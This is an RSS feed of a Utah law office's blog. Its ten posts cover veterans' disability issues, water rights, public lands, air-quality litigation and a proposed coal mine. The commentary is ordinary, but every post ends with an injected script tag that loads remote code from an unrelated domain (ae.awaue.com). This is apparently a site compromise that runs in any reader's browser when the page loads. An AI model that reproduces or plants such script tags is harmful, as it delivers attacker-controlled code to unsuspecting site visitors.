<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ban Law Office PC - Utah Veterans Disability, Utah Environmental Law &#187; Utah Environmental News</title>
	<atom:link href="http://www.banlawoffice.com/category/utah-environmental-news/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.banlawoffice.com</link>
	<description>representation of the disabled • Call 1-801-532-2447 • no fee unless you win </description>
	<lastBuildDate>Sun, 11 Jul 2010 21:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>The Veterans Benefits Improvement Act of 2010: Ironically Named Legislation from VA Secreatry Shinseki</title>
		<link>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/</link>
		<comments>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 23:09:46 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Utah Environmental News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=825</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">My <a href="http://docs.google.com/leaf?id=0BwXypxToRFNrZGQxODNiMDItODYyZS00ZTZhLTgyZmQtOWNlNDI2ZGM1OWMz&#038;hl=en"><font color ="blue">comments </font></a>cover the problems covered in the new legislation, but it should go without saying that reducing the amount of time the Veteran has to appeal their claim, and to lessen the VA&#8217;s duty to explain their decisions is not Veteran friendly, and will only make it harder then it already is for Veterans to procure benefits.  <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrNDJmN2FhZTItODlhMS00NjA5LWEyMzgtNGM2MWU1MWFiOTk3&#038;hl=en"><font color ="blue">Here </font></a>is the explanation by the Secretary.  The bill also features an amendment to the Equal Access to Justice Act that makes it harder for attorneys to represent Veterans in the Court of Appeals for Veterans Claims.  As of today it does not appear the bill has been introduced according to a Thomas search, but it appears that it has been subject to hearings.</font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solitude Expansion Denied!</title>
		<link>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/</link>
		<comments>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 01:14:26 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=814</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/p1010502/" rel="attachment wp-att-815"><img src="http://www.banlawoffice.com/wp-content/uploads/P1010502-300x225.jpg" alt="P1010502" title="P1010502" width="300" height="225" class="alignleft size-medium wp-image-815" /></a></p>
<p style="font-family: times; font-size: 16px">In what could be called a somewhat surprising and positive development in terms of preserving Central Wasatch wilderness the Forest Service recently rejected Solitude Ski Resort&#8217;s proposed expansion into the East side of Silver Fork Creek.  According to Brian Ferebee, supervisor of the Uinta-Wasatch-Cache National Forest, said the request was rejected because:<br />
» The proposed expansion is inconsistent with the 2003 Forest Plan;<br />
» The proposed use would be inconsistent with the purposes for which the land is managed;<br />
» The proposed expansion would not be in the public interest.<br />
The Forest Service should be commended because sometimes they look the other way on Forest Plan violations and whether something is in the public interest is always debatable, and more often than not the agency would err on the side of development.  Silver Fork is an area that is to be protected for its watershed values and is apparently designated as such in the Forest Plan.   No scientific survey but I&#8217;ve never seen solitude as such a prime destination for skiers and was baffled as to what demand there was for the proposed expansion.</font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/06/17/solitude-expansion-denied/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nation Reports on Military Doctors Fraudulent Diagnosis of PD</title>
		<link>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/</link>
		<comments>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/#comments</comments>
		<pubDate>Tue, 11 May 2010 00:40:56 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Utah Environmental News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=800</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Its not an issue that receives a lot of press even among Veterans, but the <a href="http://www.thenation.com/article/disposable-soldiers"><em><font color ="blue">Nation </font></em></a>published a provocative article on how military doctors are likely deliberately branding legitimately disabled Veterans as soldiers that had pre-existing personality disorders.  Nevermind that they never would have been accepted into the military if such a mental impairment existed the practice received enough attention that President Obama helped craft a bill to counteract this practice while he was still a Senator.  The story describe a certain veteran who was wounded by a bomb in the Sunni triangle and suffered shoulder trauma, tinnitus, and other ailments such as debilitating headaches, but was told he was faking these injuries, and that he actually had a preexisting personality disorder.   Studies from the Pentagon and Harvard have shown that the government and military has saved billions of dollars through this practice.  It works well for the military since they can discharge those that are diagnosed with PD and then the soldier is actually required to pay back the military since they didn&#8217;t serve their full military term.  Since 2001, more than 22,600 soldiers have been discharged with personality disorders. Many of those discharged this way have served 2 to 3 tours in Iraq and Afghanistan.  Worse there are reports that those diagnosed with PD would be put in solitary confinement, would be detained like a prisoner for a month at a time before they were even discharged under a fabricated mental impairment.  If the soldier disputes the reasons for a discharge then this could result in a less than honorable discharge which is something to be avoided since it prevents primary eligibility for VA disability. </font></p>
<p style="font-family: times; font-size: 16px">Despite Obama&#8217;s initial support for this bill, and bipartisan support, there has not been much if any movement on this bill.  The study that was ordered under the Bush Administration has stated that military doctors have not abused this diagnosis and that they are &#8220;competent medical professionals&#8221; making presumably legitimate diagnoses.  When the study&#8217;s author is pressed as to if soldier&#8217;s families have been interviewed or what the basis for the conclusion is there is no evidence forthcoming.  No soldiers that allegedly have PD or their doctors were interviewed as a part of the study.  </font></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SLC Leads SW in Water Consumption</title>
		<link>http://www.banlawoffice.com/2010/04/15/slc-leads-sw-in-water-consumption/</link>
		<comments>http://www.banlawoffice.com/2010/04/15/slc-leads-sw-in-water-consumption/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 04:31:44 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Vegas Water Grab]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=790</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Revealing information on the need of water conservation in certain locales out west.  Lends credence to Vegas Water Czar Pat Mulroy&#8217;s criticism of SLC and its &#8220;pastoral&#8221; environment.  SLC ought to wise up to the reality that its basically a desert here even though it may not be as dry as some of the other cities on the list. </font></p>
<p style="font-family: times; font-size: 16px">A COMPARATIVE LOOK AT PER CAPITA WATER CONSUMPTION IN UTAH AND OTHER WESTERN CITIES<br />
Figures below are expressed in gallons per capita per day (gpd):</font></p>
<p style="font-family: times; font-size: 16px">
1)Las Vegas (Southern Nevada Water Authority)				165 gpd<br />
2)Los Angeles (Metropolitan Water of Southern California)		        125 gpd<br />
3)Tucson									                114 gpd<br />
4)Albuquerque								                110 gpd<br />
5)Salt Lake City								                240 gpd<br />
6)St. George (Washington County Water Conservancy District)		254 gpd<br />
7)Denver									                168 gpd<br />
8)Phoenix									                218 gpd</p>
<p style="font-family: times; font-size: 12px">
Sources:<br />
1)“Hidden Oasis”, Pacific Institute, 2007<br />
2)Ibid.<br />
3)Ibid.<br />
4)Ibid.<br />
5)Salt Lake City Public Utilities, 2008.<br />
6)WCWCD, 2007 for water consumption rates in 2005<br />
7)Denver Water, 2009<br />
8)City of Phoenix Water Services Dept., 2005<br />
Salt Lake City also reports that its customers’ consumption rate was 320 gpd in 1998, and WCWD states that its customer usage was 387 gpd in 1996, indicating some progress in conservation efforts.  The Utah Division of Water Resources reported statewide consumption at 293 gpd in its most recent report.<br />
For another analysis, see: http://wwa.colorado.edu/front_range/docs/IMW_WaterUseandRates.pdf<br />
Information compiled by Steve Erickson, Utah Coordinator, Great Basin Water Network, 4/14/2010  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/04/15/slc-leads-sw-in-water-consumption/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2010 Great Salt Lake Issues Forum</title>
		<link>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/</link>
		<comments>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 23:37:14 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=787</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The Issues Forum website is just about finished &#8211; just a few missing pieces of information &#8211; but essentially everything is there. Please take a look &#8211; www.fogsl.org/issuesforum/2010/<br />
Registration is up and running.<br />
Understanding that a 3 day Forum program does not fit everyone&#8217;s availability, FRIENDS is offering a single day registration option to encourage people to attend &#8211; even if for one day.<br />
Now the only thing left to do is to get the word out to build a strong attendance worthy of the program we have to offer. And that&#8217;s why I am asking for your help.<br />
Could you help me by forwarding this information to your circle of contacts encouraging them to support FRIENDS and Great Salt Lake by registering for the Forum?<br />
We are still accepting abstracts for the Poster Session. I know there is a lot of Great Salt Lake work going on. Let&#8217;s share that collective resource and generate an opportunity for lively discussion and recognition of discovery about our lake.<br />
FRIENDS believes that for the many threats that Great Salt Lake faces every day, not having its own water is probably the greatest of them all. The focus of the Forum is timely and critical so let&#8217;s get the word out. </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/04/04/2010-great-salt-lake-issues-forum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Take Action Water Grab</title>
		<link>http://www.banlawoffice.com/2010/01/11/take-action-water-grab/</link>
		<comments>http://www.banlawoffice.com/2010/01/11/take-action-water-grab/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 23:33:39 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Vegas Water Grab]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=737</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">As explained below Gov. Herbert has been at the cusp of signing the deeply flawed agreement with Nevada but for whichever reason has been hesitant.  He needs to be convinced through letters that this agreement should never be signed.  Below are talking points from Brian Moench MD, from UPHE, and Terry Marasco.  Also comments from this office were formally submitted below during the public comment period they are still relevant in terms of comments of protest to the governor.  Herbert&#8217;s e-mail is:  <strong>gherbert@utah.gov</strong> </font></p>
<p style="font-family: times; font-size: 16px">The DAQ stonewalled a later and more convenient public hearing.  So far the <strong>only public hearing is scheduled for Tuesday, Jan. 12,  2010.   At the Magna Chamber of Commerce, 9145 W 2700 South, Magna, Ut.  7:00 pm. </strong> </font></p>
<p style="font-family: times; font-size: 16px">Water Grab Opinion Piece </font></p>
<p style="font-family: times; font-size: 16px">Poised to hold the coat of the Southern Nevada Water Authority (SNWA) while they pushed Utah off a cliff, Gov. Herbert has now taken one step back from the brink.   To suggest that Utah continue tinkering with the fine print of the Snake Valley Water Agreement is like arguing over what tunes should the band play while the Titanic sinks.  We offer ten reality checks. </font></p>
<p style="font-family: times; font-size: 16px">1.  The purpose of any agreement  is to drain enormous volumes of water from Snake Valley to support real estate speculators and casino operators in Sin City.  Over 70 years the water Utah would surrender to Nevada would fill a skyscraper 1 acre square, 471 miles high. </font></p>
<p style="font-family: times; font-size: 16px">2.   &#8220;Possession is 90% of the law.&#8221;  Once Nevada has spent billions to make hundreds of thousands of people dependent on that water, no judge or court will turn off the tap regardless of the fine print in the Agreement, regardless of whether Snake Valley has become a ghost town or how much dust  covers Temple Square.   The saga of the notorious William Mulholland stealing Owens Valley water for Los Angeles is exactly what Utah can expect to be repeated. </font></p>
<p style="font-family: times; font-size: 16px">3.   Why does Herbert  want an agreement and why have our entire Congressional delegation deserted us?  Investigative journalists from the Las Vegas Sun, Los Angeles Times and Bloomberg News reveal that Sen. Harry Reid, financial benefactor of the project,  has  mixed a stew of blackmail, quid pro quo and, old fashioned influence peddling, by threatening to prevent the equally ill-advised Lake Powell pipeline if Utah doesn&#8217;t surrender the water in Snake Valley.   Why settle for just one disaster when you can have two? </font></p>
<p style="font-family: times; font-size: 16px">4.   The Utah team has promoted the Agreement stating it &#8220;prohibits groundwater mining.&#8221; Yet Snake Valley ranchers, expert geologists, former SNWA hydrologists and biologists know there is no excess renewable water in the West Desert.  This project is the very definition of groundwater mining. </font></p>
<p style="font-family: times; font-size: 16px">5.  The  Agreement&#8217;s environmental safeguards are anything but.    For an area the size of Vermont, the aquifers now provide the only lifeline for plants like the greasewood, the primary reason why the West Desert is not another Sahara Desert.  Air quality monitoring will reveal nothing about the impending death of the greasewood plants, until it is irreversible. The routine dust storms in Owens Valley, Australia, Uzbekistan and the Middle East are evidence that in a desert, compensatory vegetation cannot be counted on to fill the void. </font></p>
<p style="font-family: times; font-size: 16px">6.  There are urban and rural economic threats.  Ask any urban Utahn whether air pollution already impairs our quality of life.  Quality of life issues become economic issues affecting real estate values, hurting existing businesses and suppressing new ones. Rural agricultural, tourism, and hunting and fishing economies will be depreciated and possibly destroyed.  Additionally, development of alternative energy projects such as solar thermal will be prohibited. </font></p>
<p style="font-family: times; font-size: 16px">7.  Dust storms threaten not just our quality of life but life itself.  The science is unequivocal.  The particles inhaled cause the same kind of disease as those from tail pipes, smoke stacks and cigarettes.  Within minutes blood pressure rises, vascular inflammation and clot formation begins, followed by increased numbers of heart attacks, strokes  and deep vein thrombosis. Even if dust storms are short lived, their impact can last long after they are gone.  Community mortality rates increase from even short term elevations in particle pollution and stay elevated for up to 30 days after the air has cleared. </font></p>
<p style="font-family: times; font-size: 16px">New dust storms will harm all of us a little bit, thousands of us much more, and will certainly cause premature deaths.  The additional threat that this dust is contaminated with mercury, radioactivity, fungi, and asbestos-like minerals continues to be ignored. </font></p>
<p style="font-family: times; font-size: 16px">8.  Utah&#8217;s negotiating team misrepresented Utah’s legal options.  Our deputy attorney general stated publicly that if Utah brought a dispute to the Supreme Court we would have to prove current damages, not potential future damages.  Not true, according to at least two U.S. Supreme Court cases and our legal counsel.  Enough science already exists, and more is being done, that would solidify Utah&#8217;s case.   The best chance to prevent this disaster is to stop it before it starts. </font></p>
<p style="font-family: times; font-size: 16px">9.  The only winners in any agreement are a handful of real estate speculators in Nevada and  Southern Utah.  Everyone else loses.  Utah gets no money for the water surrendered.    When Snake Valley runs dry even Nevada home owners will be at risk as SNWA searches for more rural communities to exploit. </font></p>
<p style="font-family: times; font-size: 16px">10.  Utahns must stop this.  Call and write the governor to tell Harry Reid and the SNWA that Utah intends to win the &#8220;War on Water Terrorists.&#8221; </font></p>
<p style="font-family: times; font-size: 16px">Brian Moench<br />
President, Utah Physicians for a Healthy Environment </font></p>
<p style="font-family: times; font-size: 16px">Terry Marasco<br />
Snake Valley business owner </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/01/11/take-action-water-grab/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Water Grab Update</title>
		<link>http://www.banlawoffice.com/2010/01/09/water-grab-update/</link>
		<comments>http://www.banlawoffice.com/2010/01/09/water-grab-update/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 23:16:31 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Vegas Water Grab]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=731</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Although things looked real bad last fall when Governor Herbert and DNR Director Styler gave the public the impression that the agreement would be signed very quickly after public comment this didn&#8217;t end up happening.  Then at the end of 2009 it looked like the Governor would sign it and now there is some indication that there could be another delay, albeit a short one.  One gets the impression that the Governor wants to sign it but is attempting to appease some County officials.  The SL Tribune is reporting that based on letters from <a href="https://docs.google.com/gview?a=v&#038;pid=gmail&#038;attid=0.3&#038;thid=1260a8500dd07e7d&#038;mt=application%2Fpdf&#038;url=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3D2%26ik%3D91c12bb5b2%26view%3Datt%26th%3D1260a8500dd07e7d%26attid%3D0.3%26disp%3Dattd%26zw&#038;sig=AHIEtbQ4w_u3O0RB707ZFuO4m4voxy7ByA"><font color ="blue">Salt Lake County</a></font> Mayor Peter Corroon and the <a href="https://docs.google.com/gview?a=v&#038;pid=gmail&#038;attid=0.2&#038;thid=1260a8500dd07e7d&#038;mt=application%2Fpdf&#038;url=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3D2%26ik%3D91c12bb5b2%26view%3Datt%26th%3D1260a8500dd07e7d%26attid%3D0.2%26disp%3Dattd%26zw&#038;sig=AHIEtbRf-OVnaKDrDCJF8EJduuOnTKGhGg&#038;pli=1"><font color ="blue">Millard County</a></font> County Commission that there could be a short delay.  The most interesting part of the report is that Las Vegas officials don&#8217;t even believe that Snake Valley water would be pumped until 2050.  Concerns coming from the Counties include the same general concerns about Wasatch Front Air Quality and some proof that there wouldn&#8217;t be irreversible aquifer mining as a result of the diversion.  </font></p>
<p style="font-family: times; font-size: 16px">Currently the BLM is finalizing its draft EIS on the project and reportedly will include estimations about what the aquifer would look like 200 years after the diversion occurs.  The models used to predict such estimations of drawdown don&#8217;t seem to have much promise in terms of accuracy.  The sentiment from scientists is quite direct: &#8220;Any forecast 200 years into the future is bulls&#8212;,&#8221; said Tim Barnett, a physicist and researcher at the Scripps Institution of Oceanography at the University of California, San Diego. &#8220;You just can&#8217;t do that.&#8221;  The bottom line is that there is simply no point in being in such a hurry to sign an agreement that is not based on any facts, and that even once the EIS is released it still won&#8217;t be much more clear how the aquifer will react to the proposed project.  There certainly shouldn&#8217;t be a hurry in lieu of the fact that there wouldn&#8217;t be any diversion for another 40 years.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/01/09/water-grab-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Search Drinking Water Quality</title>
		<link>http://www.banlawoffice.com/2009/12/17/search-drinking-water-quality/</link>
		<comments>http://www.banlawoffice.com/2009/12/17/search-drinking-water-quality/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 05:21:10 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=702</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The NY Times in their ongoing coverage of water quality problems nationally have developed another powerful <a href="http://projects.nytimes.com/toxic-waters"><font color ="blue">tool </a></font>for searching the local drinking water quality where you live.  Its a part of their &#8220;Toxic Waters&#8221; series.  You can search even the smallest of municipalities, interestingly enough is the fact that often local water will meet legal standards&#8211; but not health standards.  Obviously this makes it clear that there&#8217;s a problem with our laws.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/12/17/search-drinking-water-quality/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Utah Supreme Court Reverses Dept. of Air Quality on Sevier County Power Plant in Sierra Club v. Division of Air Quality!</title>
		<link>http://www.banlawoffice.com/2009/12/04/utah-supreme-court-reverses-dept-of-air-quality-on-sevier-county-power-plant/</link>
		<comments>http://www.banlawoffice.com/2009/12/04/utah-supreme-court-reverses-dept-of-air-quality-on-sevier-county-power-plant/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 19:50:54 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=689</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Congratulations to the Sierra Club and Joro Walker and John Pace for their hard work on this case.  Ban Law Office was happy to assist amicus, Utah Physicians for a Healthy Environment, in this case.  Some analysis of the <a href="http://www.utcourts.gov/opinions/supopin/SierraClub3120409.pdf"><font color ="blue">decision </font></a>below. Also a favorable decision in the companion case <a href=" http://www.utcourts.gov/opinions/supopin/Kennon120409.pdf"><font color ="blue">Kennon v. Air Quality Board</font></a>.  James Kennon should receive massive credit as well since he handled a very complicated case pro se!!  This was not an easy case for a lawyer and he presented his argument admirably in front of the justices. </font></p>
<p style="font-family: times; font-size: 16px">Critical to the maintenance of National Air Quality Standards or NAAQS is the prevention of significant deterioration (PSD).  In order to prevent PSD new sources are required to go through new source review.  An application for a new source permit must show that the owner will construct the facility that utilizes the best available control technology (BACT).  The applicant must undergo best available control technology review, and must utilize BACT unless its not achievable due to energy, envtl. or fiscal impacts.  Also the applicant must perform a BACT analysis that analyzes pollution from the proposed facility and other pollution sources in the area to ensure they won&#8217;t cumulatively violate air qulaity standards or NAAQS.  There is a ceiling on the total concentration of certain pollutants in the atmosphere.  PSD increments allow or set a limitation on the amount of deterioration over time depending on what class the area is in&#8230;..basically class I areas allow the smallest amount of deterioration and includes National Park or wilderness areas.  </font></p>
<p style="font-family: times; font-size: 16px">Sierra Club challenged the Approval Order by DAQ through a Request for Agency Action alleging violation of the Federal Clean Air Act CAA, Utah Air Conservation Act, and portions of the Utah Administrative Code.  Sierra Club&#8217;s issues were that the division failed to evaluate the emission of CO2 and other greenhouse gases in its Best Available Control Technology (BACT) analysis that the Division improperly excluded integrated gasification combined cycle technology as an available control technology, that the emission limits set as part of the BACT review were in error, that the Division wrongfully adopted significant impact levels policy for determining the cumulative impact of a new source on Class I areas, and the Division failed to adequately complete a Class I increment analysis for SO2.   </font></p>
<p style="font-family: times; font-size: 16px">A series of Summary Judgment motions were filed with the Board and Sierra Club lost several of these motions, but an evidentiary hearing was held on whether the BACT analysis was flawed based on consideration of the Integrated Gas Combined Cycle technology.  After this hearing Sierra Club lost on all the issues.  The standard of review was relatively favorable to Sierra Club, the S. Ct. holding they were reviewing the Division&#8217;s decision for &#8220;correctness&#8221; and granted little to no deference to the agency&#8217;s determination.  The first issue addressed was whether the PSD federal rule, located in the C.F.R., was incorporated into the State Rule.  Here the Court held the rule had not been incorporated since the rule appears to only apply in Utah to tribal lands.  They also failed to hold that the state rule was not as stringent as the federal rule as the CAA requires.  </font></p>
<p style="font-family: times; font-size: 16px">There were 2 regulations that related to BACT including a 2005 and 2006 rule where the latter required analysis of all &#8220;air contaminants&#8221; and the former analysis was required for all &#8220;pollutants subject to regulation&#8221;.  The Court held that the Division did not commit an error through application of the 2005 rule.  The next issue carries great importance due to the U.S. Supreme Court&#8217;s ruling in Mass v. EPA since they held recently in 2007 that greenhouse gases such as CO2 could be regulated under the CAA.  Raising the issue in this case whether the BACT analysis should include consideration of CO2.  This Court pounced on the fact that although CO2 could be regulated currently there are no National Ambient Air Quality Standards (NAAQS) for it.  Its unclear in other words what it means to be &#8220;regulated&#8221; under the CAA.  The Court in this case adopted an interpretation of the Wyoming DEQ where a state agency would need to &#8220;regulate greenhouse gases&#8230;without the scientific and policy resources available to EPA and the US Congress&#8221;.  In the end the Utah Supreme Court seemed concerned about the problems presented by CO2, but they did not want to &#8220;preempt ongoing Congressional and EPA efforts to formulate a CO2 emissions policy&#8221; by instituting an emission limitation as part of BACT review was reasonable.  <em>Longleaf Energy Assocs., LLC v. Friends of the Chattahoochee</em>, Inc. 681 S.E. 2d 203, 207 (GA. Ct. App. 2009).  </font></p>
<p style="font-family: times; font-size: 16px">Turning to the issue where Sierra Club succeeded was whether consideration of Integrated Gasification Combined Cycle (IGCC) was required the Court held that it was based on the plain language of the Utah Administrative Code.  Power Plant proponents pointed out that IGCC is a power generation technology as opposed to a emission control technology, however this fact did not exclude consideration of this technology from BACT review, IGCC can still act as an emission control technology, and can reduce the emission of criteria pollutants.  The Court was attempting to balance the goal of BACT, which is to encourage use of new technologies without overburdening applicants through a complete redesign of proposed power plants that rely on advanced technologies that were never considered.  In this case, since IGCC is a coal technology as opposed to say a wind generation technology it was required to consider this technology.  They also rejected the proponents claims that IGCC is not an &#8220;available&#8221; technology since even though its relatively rare there are still 2 IGCC plants in the U.S., 14 worldwide, and more IGCC plants are being proposed in the U.S.  </font></p>
<p style="font-family: times; font-size: 16px">The next issue surrounding the nitrogen oxide pollutant where Sierra Club argued that the emission standard was not sufficiently stringent since other plants have achieved lower NO emission limitations.  The Court agreed that there was insufficient evidence that the limitation in this case was the maximum reduction possible.  In the end the Court upheld the Board&#8217;s decision in some parts but REVERSED AND REMANDED and ordered a new review so that the AO must encompass the most current control technology and must assign a reasonable deadline for the construction of the Company&#8217;s facility.  The company must also conduct a new BACT analysis that considers IGCC.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/12/04/utah-supreme-court-reverses-dept-of-air-quality-on-sevier-county-power-plant/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proposed Strip Coal Mine near Bryce National Park could be first in Utah</title>
		<link>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/</link>
		<comments>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 19:05:41 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Public Lands]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=669</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/400px-2005-12-27_gk_usa_brycecanyon-3/" rel="attachment wp-att-674"><img src="http://www.banlawoffice.com/wp-content/uploads/400px-2005-12-27_GK_USA_BryceCanyon2-300x63.jpg" alt="400px-2005-12-27_GK_USA_BryceCanyon" title="400px-2005-12-27_GK_USA_BryceCanyon" width="300" height="63" class="alignleft size-medium wp-image-674" /></a></p>
<p style="font-family: times; font-size: 16px">A coalition of National and Utah environmental groups including SUWA, NRDC, and Sierra Club filed a petition against the proposed Coal Hollow Strip mine that would be located just west of Bryce National Park.  The petition will follow a state process and was filed with the state agency Utah Division of Oil, Gas, and Mining.  Obviously, there is worry that such a blight should not be located so close to a national treasure, but there are concerns the mine could foul air, water, and cultural resources in the area.  The permit allows for mining of 2 million tons of coal per year for approximately three years. The permit was approved shortly after a meeting between the mine developer—Alton Coal Development—and Utah Governor Gary Herbert. Mining operations will require up to 300 coal truck trips per day traveling 110 miles oneway from Alton to Cedar City, which could result in one truck leaving the site every seven minutes. The coal-haul route would run through several small towns along State Highway 89, including Panguitch, a town recently placed on the National Register of Historic Places. </font></p>
<p style="font-family: times; font-size: 16px">There is legitimate concern here that such a project would not only impact area towns and Bryce National Park due to the fact that the Park receives over 1.5 million visitors every year.  Unfortunately, this project is actually just a small portion of a much larger proposal to strip mine an even greater area that would create one large contiguous strip mine area that would amount to around 46 million tons of coal to be mined over 15 years.  This according to SUWA attorney Steve Bloch.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/11/19/proposed-strip-coal-mine-near-bryce-national-park-could-be-first-in-utah/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
